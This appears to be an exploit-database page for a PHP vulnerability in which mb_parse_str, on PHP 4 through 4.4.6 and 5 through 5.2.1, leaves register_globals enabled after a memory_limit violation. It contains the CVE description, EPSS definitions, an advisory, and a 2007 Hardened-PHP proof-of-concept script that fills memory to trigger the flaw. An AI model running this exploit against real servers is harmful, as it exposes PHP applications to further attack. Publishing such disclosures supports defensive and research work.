CVE Descriptions

The mb_parse_str function in PHP 4.0.0 through 4.4.6 and 5.0.0 through 5.2.1 sets the internal register_globals flag and does not disable it in certain cases when a script terminates, which allows remote attackers to invoke available PHP scripts with register_globals functionality that is not detectable by these scripts, as demonstrated by forcing a memory_limit violation.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EDB Verified : Yes

source: https://www.securityfocus.com/bid/23016/info PHP is prone to a weakness that allows attackers to enable the 'register_globals' directive because the application fails to handle a memory-limit exception. Enabling the PHP 'register_globals' directive may allow attackers to further exploit latent vulnerabilities in PHP scripts. This issue is related to the weakness found in the non-multibyte 'parse_str()' from BID 15249 - PHP Parse_Str Register_Globals Activation Weakness. This issue affects PHP 4 to 4.4.6 and 5 to 5.2.1. <?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP mb_parse_str() register_globals Activation Exploit // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); // The following string will be parsed and will violate the memory_limit $str = "a=".str_repeat("A", 164000); // This code just fills the memory up to the limit... $limit = ini_get("memory_limit"); if (strpos($limit, "M")) { $limit *= 1024 * 1024; } else if (strpos($limit, "K")) { $limit *= 1024; } else $limit *=1; while ($limit - memory_get_usage(true) > 2048) $x[] = str_repeat("A", 1024); // Will activate register_globals and trigger the memory_limit mb_parse_str($str); ?>
